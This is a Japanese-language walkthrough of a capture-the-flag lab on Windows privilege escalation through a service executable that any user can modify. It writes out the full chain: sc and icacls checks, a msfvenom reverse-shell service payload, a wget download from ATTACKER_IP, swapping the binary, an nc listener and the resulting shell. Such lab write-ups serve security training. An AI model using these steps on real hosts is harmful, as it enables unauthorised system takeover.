侵入テストでは、多くの場合、非特権ユーザーとして一部のWindowsホストにアクセスするが、アクセス権限が制限されており、ホスト上で管理タスクを実行する手段がないため、ターゲットを完全に制御することができない。そこで、攻撃者にとって横展開や情報の窃取をするためには既存のユーザより上の権限を持つユーザへの昇格が必要になってくる。
保護されていないテキストファイルやスプレッドシートから認証情報を見つけるだけで、さまざまなアカウントにアクセスできるようになることもありますが、必ずしもそうとは限らないケースの方が多い。状況によっては、以下の脆弱性を悪用する必要がある。
今回はその中でもWindowsサービスまたはスケジュールされたタスクの誤った構成を悪用した 「Windows Privilege Escalation」のTask5である「サービス実行可能ファイルに対する安全でない権限」についてのflagまでの道のりを解説する。
サービス実行可能ファイルに対する安全でない権限(flag1)
指示通り、「WindowsScheduler」のWindows のサービス設定を確認するためのコマンドを実行する 今回の場合、Windows サービスを 照会や作成、削除などができるscコマンドを使い、qcオプションでサービスの構成情報を表示するオプションを使っていく。
C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindowsScheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr1
サービス設定を確認していくと、サービスが起動時に何を実行するかが書いてある項目であるBINARY_PATH_NAMEの項目に実行ファイルが表示されている。
サービスに関連付けられた実行ファイル「WService.exe」の権限を確認してみる。
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
実行ファイルの権限の一覧を見てみると、Everyoneグループには、変更権限(M)が付与されている。
変更権限(M)にはファイルの内容を置き換えたり、ファイルを削除、置き換えるといった操作が含まれている。 ということは、一般ユーザー権限であっても WService.exe を自由に差し替えられる状態である。
そのため、WService.exe を任意のペイロードに置き換えた場合、設定された BINARY_PATH_NAME のペイロードの実行ファイルを、そのサービスの実行ユーザー権限で起動するということができてしまう。
今回は指示通り、msfvenom を使用して exe サービス ペイロードを生成し、それを Python Web サーバー経由で提供する。
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe user@attackerpc$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
次のコマンドを使用して、Powershellからペイロードを取得できる。
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
ペイロードがWindowsサーバーに入れることができたら、サービス実行ファイルをペイロードに置き換える。
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
攻撃者のマシンでリバース リスナーを開始
user@attackerpc$ nc -lvp 4445
最後に、サービスを再起動する。
通常はサービスの再起動を待つ必要があるが、今回はサービスの開始・停止権限が付与されているとのことなので、コマンドプロンプトから以下のコマンドを実行する。
C:\> sc stop windowsscheduler C:\> sc start windowsscheduler
実際にラボで実践する際は、通常であれば「sc sdshow」コマンドなどを使い、サービスの開始・停止権限が付与されているか確認するべきである。
結果、svcusr1 権限を持つリバース シェルを取得することができる。
user@attackerpc$ nc -lvp 4445 Listening on 0.0.0.0 4445 Connection received on 10.10.175.90 50649 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami wprivesc1\svcusr1
svcusr1 デスクトップに移動してフラグを取得する。